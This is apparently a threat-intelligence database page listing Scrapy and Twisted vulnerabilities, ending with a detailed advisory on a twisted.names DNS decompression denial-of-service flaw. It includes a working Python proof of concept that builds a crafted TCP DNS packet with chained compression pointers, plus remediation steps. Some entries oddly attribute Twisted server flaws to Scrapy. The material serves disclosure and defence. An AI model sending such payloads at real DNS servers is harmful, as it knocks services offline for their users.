Threat Intelligence Database

The twisted.web HTTP server in Scrapy versions 2.9.0 up to but not including 2.11.2_3 can process HTTP pipelined requests out-of-order. This behavior may lead to information disclosure, especially when twisted.web servers are deployed behind reverse proxies with connection pooling. The issue has a high severity with a CVSS score of 8.3 and affects HTTP 1.0 and 1.1 pipelined requests.

The Twisted web framework's redirectTo function contains an HTML injection vulnerability that can lead to reflected cross-site scripting (XSS) if an attacker controls the redirect URL. This occurs because the redirectTo function reflects the destination URL in the HTML body without encoding, allowing injection of arbitrary HTML/JavaScript. The vulnerability is exploitable only in Firefox due to its handling of the redirect response body. Exploitation could allow malicious scripts to run in the victim's session context, potentially leading to unauthorized access or actions. Affected versions are Twisted versions used by Scrapy from 2.9.0 up to but not including 2.11.2_3. A patch is available for this issue.

Scrapy versions from 2.9.0 up to but not including 2.11.2 improperly followed redirects for URL schemes beyond HTTP and HTTPS, such as file://, ftp://, and s3://. This behavior could allow an attacker with the ability to control start requests and read spider output to access local files or sensitive credentials via redirected URLs. The vulnerability is fixed in Scrapy 2.11.2.

Scrapy versions from 2.9.0 up to but not including 2.14.2 contain a vulnerability in the RefererMiddleware where the Referrer-Policy response header is improperly handled. If the header value resembles a valid Python import path, Scrapy imports and executes the referenced object, which can be exploited by a malicious site to execute arbitrary code such as terminating the process. This can lead to denial of service. A patch is available in Scrapy 2.14.2.

Scrapy versions from 2.9.0 up to but not including 2.11.2 have a vulnerability where redirects do not properly switch proxy settings based on URL scheme changes (HTTP to HTTPS or vice versa). This causes the proxy configured for one scheme to be incorrectly used for the other, potentially leaking browsing information between proxies. The issue is fixed in Scrapy 2.11.2.

### Details The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. --- ### Technical Details The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record. Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search. ```python ## src/twisted/names/dns.py (Lines 595-631) def decode(self, strio, length=None): visited = set() self.name = b"" off = 0 while 1: l = ord(readPrecisely(strio, 1)) if l == 0: if off > 0: strio.seek(off) return if (l >> 6) == 3: new_off = (l & 63) << 8 | ord(readPrecisely(strio, 1)) if new_off in visited: raise ValueError("Compression loop in encoded name") visited.add(new_off) if off == 0: off = strio.tell() strio.seek(new_off) continue label = readPrecisely(strio, l) if self.name == b"": self.name = label else: self.name = self.name + b"." + label ``` --- ### PoC ```python import struct, time from twisted.names import dns, server from twisted.test import proto_helpers def create_tcp_payload(): num_pointers = 8000 packet_length = 65533 num_questions = (packet_length - (num_pointers * 2) - 12) // 6 buffer = bytearray(packet_length) struct.pack_into("!HHHHHH", buffer, 0, 1, 0, num_questions, 0, 0, 0) ptr_offset = 12 for _ in range(num_pointers - 1): struct.pack_into("!H", buffer, ptr_offset, 0xC000 | (ptr_offset + 2)) ptr_offset += 2 null_byte_offset = ptr_offset + 2 struct.pack_into("!H", buffer, ptr_offset, 0xC000 | null_byte_offset) buffer[null_byte_offset] = 0 question_offset = null_byte_offset + 1 for _ in range(num_questions): if question_offset + 6 <= packet_length: struct.pack_into("!HHH", buffer, question_offset, 0xC000 | 12, 1, 1) question_offset += 6 return packet_length, num_pointers, num_questions, struct.pack("!H", packet_length) + buffer def test_dns_server(): factory = server.DNSServerFactory(clients=[]) protocol = factory.buildProtocol(("127.0.0.1", 10053)) transport = proto_helpers.StringTransport() protocol.makeConnection(transport) pkt_len, num_ptrs, num_qs, payload = create_tcp_payload() print("payload") print(f"len={pkt_len} ptrs={num_ptrs} qs={num_qs}") start = time.time() protocol.dataReceived(payload) end = time.time() print(f"time={end - start:.4f}s") if __name__ == "__main__": test_dns_server() ``` --- ### Impact A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression. --- ### Remediation - Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message - Share the "resolved offset" state across all records in a single message to prevent redundant processing. - Validate the number of questions before entering the decoding loop in Message.decode. --- ### Resources https://cwe.mitre.org/data/definitions/400.html https://cwe.mitre.org/data/definitions/407.html https://datatracker.ietf.org/doc/html/rfc9267 https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595 https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09 --- **Author**: Tomas Illuminati